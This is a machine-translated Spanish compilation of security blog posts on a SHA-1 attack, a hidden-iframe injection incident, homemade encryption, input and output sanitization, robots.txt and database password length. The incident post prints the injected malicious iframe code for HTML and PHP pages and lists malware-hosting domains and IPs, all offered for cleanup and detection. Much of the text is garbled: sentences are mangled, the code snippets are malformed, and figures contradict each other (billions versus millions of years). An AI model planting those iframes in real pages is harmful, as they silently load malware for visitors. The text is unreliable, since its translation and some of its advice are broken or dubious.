Hace unos días, en EuroCrypt 2009, los investigadores de seguridad anunció un ataque contra el SHA-1 algoritmo de hashing. El ataque es bastante grave y es una señal fuerte para los proveedores de software de alejarse de SHA-1.

Para casi todos los algoritmos criptográficos, si el resumen es de longitud n, significa que hay 2 ⁿ posibles valores diferentes para el resumen del mensaje (texto cifrado en el caso de un algoritmo de cifrado). Teniendo la posibilidad de ataques de cumpleaños en cuenta, podemos asumir con seguridad que la violación de estos compendios tomará por lo menos 2 ^{n / 2} operaciones.

Si n = 160 (como en el caso de SHA-1), se tardará 2 ⁸⁰ cálculos de romper el código. Incluso si asumimos que una computadora puede hacer 2 ²⁰ operaciones por segundo, se tendrá la friolera de 36 mil millones años para descifrar el código. Nuestros secretos y los sistemas están a salvo de estos algoritmos que se supone para resistir las mejores computadoras para 36 mil millones de años craqueo código.

Entonces alguien muy inteligente llega, encuentra una debilidad en el algoritmo mismo lugar de tratar de hacer ataque de fuerza bruta, y la seguridad de nuestros documentos, firmas y protocolos son puestos en peligro. Nos vemos obligados a encontrar mejores alternativas y mejorar el diseño de algoritmos.

En el mundo real, los algoritmos criptográficos quedan obsoletos o rotos en 10-25 años en lugar de los plazos teóricos de 36 millones de años.

Como medida de precaución es posible que desee hacer los algoritmos y protocolos utilizados en la aplicación fácilmente reemplazables. Esto hará su vida más fácil cuando el algoritmo está roto y que desea sustituirlo. Además, como programador debe entender que, aunque el algoritmo aún no se rompe, su aplicación puede ser errónea. La mayoría de las vulnerabilidades de seguridad son causados por las implementaciones de algoritmos de mierda seguro / protocolos.

¿Y mencioné que usted no debe escribir su propio algoritmo de cifrado ?

Por supuesto en el mundo real las cosas son totalmente diferentes:

Como usted probablemente sabe, ninguno de los algoritmos en el mundo le ayudará si conoce el nombre de soltera de su madre.

[Actualizado el 27 de octubre de 2009 con una versión nueva del guión]

Es una lástima que después de todos estos puestos de seguridad, algunos de mis sitios web fueron atacados hoy en día.

Shoban y Anand me correo electrónico acerca de esta mañana de hoy (Gracias chicos) y yo tratamos de entender lo que estaba pasando. Para mi absoluta incredulidad más de 10 sitios web alojados en el mismo servidor se vieron afectados por el ataque.

Todo el índice .* archivos en el servidor se infectaron con un pedazo de código que carga un iframe oculto en la página.

Para las páginas HTML el siguiente fragmento de código se agregó:

iframe src <= "http://goooogleadsence.biz/?click=8F9DA" width = 1 height = 1 style = "visibilidad: oculto; position: absolute"> </ iframe>

Para php páginas añadió:

echo "src=\"http://goooogleadsence.biz/?click=8F9DA\" <iframe width=1 height=1 style=\"visibility:hidden;position:absolute\"> </ iframe>";

Asha tomó el esfuerzo y limpiado la mayor parte de los archivos infectados. Estamos monitoreando la situación ahora.

¿Cómo el gusano se inyectan la iframes ocultos a mis archivos?

Hay dos maneras a través del cual se cree que el gusano para infectar los archivos:

1) Server está comprometida

Esta es la forma más común. Algunos sitios web o los que residen en el mismo servidor web como su página web puede verse comprometida (o puede ser algunas vulnerabilidades en la aplicación web en sí) que causó el servidor web para ser comprometida. Una vez que el servidor se ve comprometida, el gusano se propagará a todos los sitios web en el servidor.

2) del lado del cliente FTP

El gusano se encuentra en algunos o ninguno de los equipos del lado del cliente se utiliza para acceder al ftp / panel de control de cuentas de su servidor de alojamiento.

Cuando se escribe el nombre de usuario y contraseña para el ftp / panel de control cuenta, el gusano lee en silencio las credenciales, accede a su cuenta ftp e infecta los archivos en el servidor. Agrega el mencionado código anterior para todos los índices .* archivos.

¿Cómo puedo recuperar de un ataque de inyección de iframe oculto?

Éstos son algunos consejos que pueden ayudar:

1. Lo primero que debe hacer para prevenir este tipo de ataques es cambiar su ftp, panel de control y las contraseñas de base de datos tan pronto como sea posible.
2. Notifique a su proveedor de alojamiento web sobre el ataque y el asesoramiento a tomar medidas contra un posible ataque de servidor de gama.
3. Cambiar los permisos de archivo en su servidor para el modo de garantizar al máximo.
4. Descargar todos los archivos desde el servidor y detectar posibles infecciones. Limpie los archivos infectados.
5. El uso de un software antivirus bueno, escanear y limpiar cada PC que utilice para acceder a su servidor de alojamiento.
6. Nunca utilice ordenadores públicos para acceder a su servidor.

¿Cómo puedo limpiar los archivos infectados?

Utilice estas expresiones regulares para buscar todas las páginas del código malicioso conteniendo una y sustituirlo por el espacio:

src=\"http://[^"]*" <iframe width=1 height=1 style=\"visibility:hidden;position:absolute\"> </ iframe>

echo \ "src=\\\"http://[^"]*\" <iframe width=1 height=1 style=\\\"visibility:hidden;position:absolute\\\"> </ iframe> \ ";

Puede que tenga que escribir un script para automatizar esto para todos los archivos en el servidor.

He cocinado un script PHP que puede ayudarle a encontrar los archivos infectados. Descargue el archivo de aquí , guardarlo como clean.php (en estos momentos clean.php.txt) y subirlo a la carpeta raíz de su sitio web.

Es posible que desee cambiar algunos valores codificados dentro del archivo.

Entonces visite la URL:

http://www.yourdomain.com/clean.php?c=iframe

C El parámetro especifica el texto a buscar dentro del archivo. Los resultados serán algo así como:

Se buscará todos los archivos de su sitio web y si alguno de los archivos contiene la cadena dada, se imprimirá el nombre del archivo junto con el número de ocurrencias de la cadena. En la imagen anterior, se puede ver que un archivo está infectado.

Tenga en cuenta que el guión no se eliminará el iframes de sus archivos. limpieza automatizada podría romper algunos de sus sitios web. Así que a partir de ahora usted tendrá que limpiar los archivos manualmente.

Faiz ha escrito un guión avanzado ASP.Net para encontrar los archivos infectados, y se puede encontrar aquí .

¿Mi posición en los buscadores verán afectados por este ataque?

Trate de ser rápido con estos pasos, porque si un visitante vea el mensaje "Este sitio podría dañar tu equipo" pop-up cuando (s) que intentan acceder a su sitio web / blog, (s) no puede reaparecer de nuevo. Recuerde que si la seguridad de su sitio web se ve comprometida, puede afectar el posicionamiento en los buscadores de la web. Además, puede preparar el camino para más sofisticados ataques.

Google marcará su sitio en él los resultados de búsqueda con una advertencia: "Este sitio podría dañar tu equipo".

Utilice el siguiente enlace para ver lo que Google piensa en su sitio web (indicar la URL de su sitio en vez de shopfloorbd.co.uk):

http://www.google.com/safebrowsing/diagnostic?site=http://shopfloorbd.co.uk

Como se mencionó anteriormente, debe quitar el malware de tu máquina local usando algún software antivirus. AVG lo ve como "Caballo de Troya Downloader" y NOD32 lo ve como "JS / troyano Kryptik.B".

Tenga en cuenta que cuando se visita un sitio infectado, algunos softwares antivirus le pedirá que "Caballo de Troya downloader", un archivo exe-está tratando de cargar. Una vez que el exe infecta su máquina, puede infectar su servidor también.

Éstos son algunos ejemplos de código más atrapados en el medio silvestre:

src="http://hostverify.net/?click=2730375" <iframe width=1 height=1 style="visibility:hidden;position:absolute"> </ iframe>

src="http://hosttracker.net/?click=32431937" <iframe width=1 height=1 style="visibility:hidden;position:absolute">

Hay ofuscado versiones del código de ataque también:

<script> función c102916999516l4956a7e7c979e (l4956a7e7c9b86) (... etc

Aquí está una lista de algunos otros sitios web que el contenido de acogida malicioso:

gumblar.cn

martuz.cn

beladen.net

38zu.cn

googleanalytlcs.net

lousecn.cn

fqwerz.cn

d99q.cn

orgsite.info

94.247.2.0

94.247.2.195

http://mmsreader.com

http://google-ana1yticz.com

http://my2.mobilesect.info

http://thedeadpit.com

http://internetcountercheck.com

http://165.194.30.123

http://ruoo.info

gogo2me.net /

http://live-counter.net

http://klinoneshoes.info

protección livescan.com /

http://webexperience13.com

http://q5x.ru

http://q5x.ru

gumblar.cn

martuz.cn

beladen.net

38zu.cn

googleanalytlcs.net

lousecn.cn

fqwerz.cn

d99q.cn

orgsite.info

94.247.2.0

94.247.2.195

http://mmsreader.com

http://google-ana1yticz.com

http://my2.mobilesect.info

http://thedeadpit.com

http://internetcountercheck.com

http://165.194.30.123

http://ruoo.info

gogo2me.net /

http://live-counter.net

http://klinoneshoes.info

protección livescan.com /

http://webexperience13.com

http://q5x.ru

Si usted encuentra estas URL en cualquier código en tu sitio web, que es un signo seguro del tiro que usted está infectado.

Uno de mis amigos me estaba hablando:

¡Eh, tú ver que tipo? Él es un programador muy bueno y sabe un montón de cosas.

Le pregunté si sabía algo acerca de este algoritmo de cifrado. Me dijo que él sabe mucho acerca de los algoritmos de cifrado. De hecho, él escribe sus propios algoritmos de cifrado. Me dijo que siempre es mejor escribir sus propios algoritmos.

Sí.

Ahora sé cómo está bien informado.

He pequeña petición para que a todos los auto proclamados expertos criptográficos por ahí:

La criptografía es duro. Es difícil, porque siempre hay gente ahí fuera más inteligente que puede romper el algoritmo de cifrado de fabricación casera super-duper. Si tan seguros de sus habilidades, utilizar su propios algoritmos de cifrado en sus propias aplicaciones. Por favor, no le dan al público. Si está compartiendo su aplicación con nosotros, especifique que usted está utilizando su propio algoritmo de cifrado de manera que vamos a entender lo maravilloso que eres y lo maravilloso de sus productos será (y, probablemente, evitar el uso de la aplicación de horrible).

Ya sé lo que estará pensando ahora mismo:

Pero, nadie ha roto mi algoritmo de cifrado!

Esto es así porque a nadie le importa. La gente tiene su propio trabajo para hacer en lugar de tratar de quebrar su algoritmo de mascotas. Si realmente quieres poner a prueba la fuerza de su algoritmo, intenta anunciar un premio del millón de dólares para el tipo que se rompe.

Y por favor no difundir mensajes como "siempre es mejor escribir nuestros propios algoritmos" entre nosotros los mortales. Puede ser que usted puede hacer una buena seguridad por su cuenta, no podemos.

Los datos del usuario puede ser peligroso. Cualquiera que sea el usuario proporciona los datos, sobre todo en una aplicación web, no se puede asumir para estar seguro. Por el contrario, hay muchos usuarios malintencionados que intentan aprovecharse de todas las vulnerabilidades de seguridad en su aplicación. XSS , CSRF , SQL Injection ataques son familiares para la mayoría de ustedes. (Si no, vaya resolverlo y volver rápido.) Con el fin de proteger la aplicación de los ataques de este tipo se necesitan para desinfectar los datos del usuario de modo que no hace nada perjudicial para su sistema.

Una gran pregunta que se discutió vigorosamente en la comunidad de desarrollo web es:

Cuando para desinfectar los datos del usuario? ¿Debe ser hecho en la etapa de entrada donde se los datos introducidos por el usuario o en la etapa de salida donde se muestra los datos para el usuario?

La solución, en mi opinión, (y en la opinión de un nutrido grupo de expertos en este campo) es hacer doble desinfección. Uno de validación y SQL escapar antes de entrar en la base de datos y una desinfección (filtración y escape) antes de ir a la de salida.

Así que el proceso reduce esencialmente a la validación en la entrada y escapar en el resultado. Aquí están las razones por las que debe ir por este método en vez de escapar y saneamiento en la entrada solo:

1. La forma de datos debe ser esterilizado depende del contexto tiene por objeto los datos que se utilizará. Por ejemplo, si los datos se almacenan en una base de datos, tenemos que escapar el carácter 'para evitar ataques de inyección SQL. Si los datos se van a mostrar en la salida HTML, tenemos que escapar de la <y> caracteres para evitar ataques XSS. En la etapa de entrada que no podemos prever las formas en que los datos se van a utilizar. Así que es mejor para desinfectar los datos justo antes de la etapa de salida cuando es evidente cuando los datos se va.
2. Siempre puede estar seguro de que los datos de la base de datos se desinfectan los datos. Usted no puede garantizar que proviene de las fuentes que prevé los datos que vienen. Existe la posibilidad de que los datos de composición en la base de datos a través de una ruta en la que no han hecho su entrada desinfectante. ¿Qué pasa si un usuario editar directamente la base de datos para agregar algunos datos? ¿Qué pasa si hay lagunas en su desinfectante? ¿Qué pasa si los datos han sido colocados por un ataque de inyección SQL en su base de datos? Todos estos puntos nos dicen que tenemos que desinfectar los datos del usuario en el que se utiliza - que está en la etapa de salida.
3. Puede haber otras aplicaciones que utilizan los datos de su base de datos. Por ejemplo una aplicación escrita en COBOL pueden estar utilizando los datos de la base de datos para generar algunos reportes de la misma. Si los datos ya están en la base de datos en forma de script> <hola mundo, la aplicación COBOL no será capaz de dar sentido a los datos. Tendrá que aplicar sus propias decodificador para leer los datos. Este es un proceso muy doloroso. Podemos evitar situaciones como la información si no nos empuje transformado en la base de datos.
4. Siempre es mejor tener los datos puros sin modificaciones en la base de datos para que pueda ser procesado fácilmente por todas las aplicaciones que utilizan los datos. Una vez que desinfectar los datos antes de que se almacena en la base de datos, no hay vuelta atrás. Es realmente difícil conseguir los datos originales suministrados por el usuario de nuevo después de hacer todas estas técnicas de filtración y escape. Por otra parte, si se dispone de datos sin alterar la base de datos es fácil escapar de él más adelante con respecto a cada solicitud de utilización de los datos.
5. De acuerdo con los puntos anteriores, la desinfección de datos en la salida de todos modos es necesario por razones obvias. Si queremos codificar los datos de usuario en la entrada, así como en la salida, los datos se codifican en una forma doble y no será útil en absoluto. No hay necesidad de desinfección doble de todos modos. Por lo tanto, siempre se recomienda para codificar los datos para el formato de destino justo antes de pasar los datos al sistema de destino.
6. Los usuarios han informado los agujeros de seguridad con aplicaciones como phpMyAdmin cuando muestra los valores de base de datos sin codificar a formato HTML. Los desarrolladores de phpMyAdmin anticipado los datos en bases de datos que el usuario está libre de cualquier código malicioso, pero no puede ser el caso. De modo que su aplicación necesita sanitización de salida, especialmente si está utilizando los datos del formulario de fuentes externas. Nunca confíe en ningún dato que te lanzan.
7. Suponga que usted está utilizando la desinfección de entrada. Si hay algún error en el sistema de desinfección, los datos maliciosos se deslizan en la base de datos y ahora usted tiene que fijar el sistema de desinfección y eliminar todos los datos maliciosos de su base de datos. Esto puede ser un trabajo muy aburrido. Pero si usted estaba usando desinfectante de salida, sólo tendría que modificar el código para arreglar el agujero de seguridad.

Entonces, ¿cómo hacer esto sanization paso dos? He aquí cómo:

1. Los datos del usuario se presenta en
2. Validar los datos
3. Si es válida, no escapa de SQL y almacenar en la base de datos. ( mysql_real_escape_string () en PHP)
4. Si no válidos, rechazar los datos. No trate de modificar los datos e introdúzcalo en la base de datos. Esto hará más daño que bien. El usuario va a pensar que los datos atravesó con éxito mientras que los datos en la base de datos será otra cosa. Así que aceptar o rechazar los datos del usuario. No trate de alterarlo.
5. Salida: Si la información va a una página HTML, de escape para HTML. ( htmlentities () en PHP). Si los datos se va a una línea de comandos de Unix, escape para depósito. ( escapeshellarg () en PHP). Si los datos se va a una dirección URL codificar, los datos. ( urlencode () en PHP), etc

En la etapa de validación, de verificación de la correcta codificación de los datos - etc URL/UTF-7/Unicode/US-ASCII A continuación, compruebe si los datos contienen buen juego de caracteres. Permitir sólo los caracteres que son realmente necesarios para la aplicación. Ponga un límite de la longitud de los datos de entrada. Recuerde que un atacante por lo general hace uso de cadenas largas a las embarcaciones de un ataque. Compruebe si el formato de datos es correcta o no. Los números de teléfono debe contener sólo números, direcciones de correo electrónico debe contener un texto en el formato de correo electrónico específicas, etc

Siempre utilice los métodos o marcos proporcionados por su idioma o plataforma para hacer el escape y la codificación / descodificación. La mayoría de los idiomas por ahí mantener sus operaciones. Java es una excepción: cuando se utiliza Java, usted debe escribir sus propios métodos de manejar HTML de codificación / decodificación.

Por último, al enviar los datos al navegador web, recuerde poner la codificación adecuada para la página web. Esto puede hacerse utilizando el atributo cabecera de la respuesta o el uso de meta tags. Es recomendable utilizar ambos métodos. Olvidar este paso puede ayudar a algunos tipos de ataques XSS.

Otras preocupaciones

Algunos sitios web necesita de entrada y salida del usuario como HTML en sí - por ejemplo páginas web que permiten la edición de HTML. En este caso no se puede hacer la codificación de la aplicación. Recuerde que debe añadir mecanismos de filtro adecuado para permitir que sólo las marcas que están destinados a ser utilizados. Siempre asegure peligrosas potencialmente etiquetas como </ script> <script>

Ver más en:

• Teoría de cuerdas de seguridad para la Web: Steven Wittens
• De validación de entrada o salida de filtrado, que es mejor? : Jeremiah Grossman
• Filtro de entrada-salida de escape: Principio de Seguridad y la práctica: Terry Chay
• Asegure la entrada y salida de la manipulación: Wikipedia
• de seguridad de Internet: Google Code

Estoy cada vez más encontrarse con personas que piensan robots.txt archivo se puede utilizar para evitar que el motor de búsqueda de los rastreadores de rastreo de datos sensibles en sus sitios web. En serio.

Esto es algo simplemente erróneo. Datos que han de excluirse mediante un archivo robots.txt es:, redundantes o inútiles datos no deseados. Una entrada en el archivo robots.txt no puede proteger los datos sensibles de salir. Los datos sensibles no debe dejarse abierta en su sitio web en primer lugar.

Hay muchos rastreadores maliciosos que rastrear sólo las páginas bloqueadas por el archivo robot.txt en cada sitio web. Apuesto a que muchas cosas interesantes a su vez en los resultados de su búsqueda.

Su elección de contraseñas demuestra la importancia de los datos protegidos por la contraseña es. Si la contraseña de su cuenta de correo electrónico está passw0rd, significa que los datos de su correo electrónico no es lo suficientemente importante (o que no les importa mucho acerca de la importancia de los datos). Todos sabemos que, en general no es una buena idea para almacenar contraseñas de los usuarios en su base de datos en forma de texto plano. Pero en ciertos casos, puede ser obligado a guardar las contraseñas de usuario directamente, en forma de texto sin formato en la base de datos.

Esto significa que todas las contraseñas de usuario se protegen con una contraseña única base de datos. Si alguien obliga a bruta la contraseña de base de datos, él / ella puede leer todas las contraseñas de los usuarios y los usuarios como se sabe, tienen mala fama por usar la misma contraseña para la mayoría de sus cuentas en todas partes. Así, el atacante puede tener acceso a otras cuentas del usuario en otros lugares.

Como desarrollador / DBA, es su trabajo para asegurar los datos en su base de datos. Una cosa que puedes hacer es forzar a la bruta de la contraseña de base de datos tan duro como fuerza bruta todas las contraseñas en la base de datos. Esto se puede hacer al elegir la longitud de la contraseña de base de datos con prudencia.

¿Cuál debe ser la longitud de la contraseña de base de datos?

Duración mínima de la contraseña de base de datos = Duración media de las contraseñas de usuario contenidos en la db * log2 (número de contraseñas de usuario) / 8

Por ejemplo, si está almacenando 1024 contraseñas de 8 caracteres de longitud media, su contraseña de base de datos debe ser de al menos 10 caracteres de longitud.